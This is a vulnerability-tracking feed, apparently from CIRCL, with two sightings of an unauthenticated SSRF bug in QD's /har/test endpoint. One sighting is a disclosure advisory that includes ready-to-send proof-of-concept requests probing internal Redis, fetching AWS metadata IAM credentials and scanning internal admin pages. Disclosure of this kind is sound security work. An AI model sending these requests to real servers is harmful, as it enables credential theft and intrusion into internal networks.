https://vulnerability.circl.lu/sightings/feed 2026-09-22T15:52:53.679714+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/d5905937-6b32-4cf0-bce3-660674d55957/export 2026-09-22T15:52:53.703699+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "d5905937-6b32-4cf0-bce3-660674d55957", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51152", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhnmk6dts2v", "content": "CVE-2026-51152\nThe /har/test feature in QD versions from early 2022 to mid\u20112025 accepts data from anyone and uses it to build web requests without checking where those requests go. An attacker could cause the server to reach\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T14:40:06.272867Z"} 2026-09-01T14:40:06.272867+00:00 https://vulnerability.circl.lu/sighting/444bfb17-d11c-4dad-87fc-721fd30ac075/export 2026-09-22T15:52:53.705754+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "444bfb17-d11c-4dad-87fc-721fd30ac075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51152", "type": "seen", "source": "https://gist.github.com/kurokoleung/98e950e3e05205fc57d2029ad68a702e", "content": "[CVE ID]\nCVE-2026-51152\n\n[PRODUCT]\nQD-20250803\n\n[VERSION]\nfrom QD-20220208 to QD-20250803\n\n[PROBLEM TYPE]\nServer-side request forgery (SSRF)\n\n[DESCRIPTION]\nQD provides a HAR test endpoint (/har/test) that allows an attacker to control the target URL of an outbound HTTP request made by the server. The Fetcher.build_request() method in libs/fetcher.py constructs an httpclient.HTTPRequest from user-supplied JSON without validating the URL scheme, host, or IP address range. The /har/test handler (web/handlers/har.py) does not require authentication (@authenticated is absent), enabling unauthenticated remote attackers to force the QD server to send arbitrary HTTP requests to internal network resources (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16), cloud metadata endpoints, or other internal services reachable from the server. The validate_cert flag is also set to False, disabling TLS certificate verification for HTTPS targets.\n\n[PROOF OF CONCEPT]\n\n=== 1. Basic SSRF \u2014 probe internal Redis service ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 373\n\n{\n \"request\": {\n \"method\": \"GET\",\n \"url\": \"http://127.0.0.1:6379/\",\n \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n \"cookies\": []\n },\n \"rule\": {\n \"success_asserts\": [],\n \"failed_asserts\": [],\n \"extract_variables\": []\n },\n \"env\": {\n \"variables\": {},\n \"session\": []\n }\n}\n\n=== 2. Cloud metadata SSRF \u2014 AWS/Meta credential exfiltration ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 385\n\n{\n \"request\": {\n \"method\": \"GET\",\n \"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin\",\n \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n \"cookies\": []\n },\n \"rule\": {\n \"success_asserts\": [],\n \"failed_asserts\": [],\n \"extract_variables\": []\n },\n \"env\": {\n \"variables\": {},\n \"session\": []\n }\n}\n\n=== 3. Internal network reconnaissance ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 382\n\n{\n \"request\": {\n \"method\": \"GET\",\n \"url\": \"http://192.168.1.1/admin/status\",\n \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n \"cookies\": []\n },\n \"rule\": {\n \"success_asserts\": [],\n \"failed_asserts\": [],\n \"extract_variables\": []\n },\n \"env\": {\n \"variables\": {},\n \"session\": []\n }\n}\n\n[REFERENCE]\nhttps://qd-today.github.io/qd/\nhttps://github.com/qd-today/qd/releases/tag/20250803", "creation_timestamp": "2026-07-28T08:47:39.178526Z"} 2026-07-28T08:47:39.178526+00:00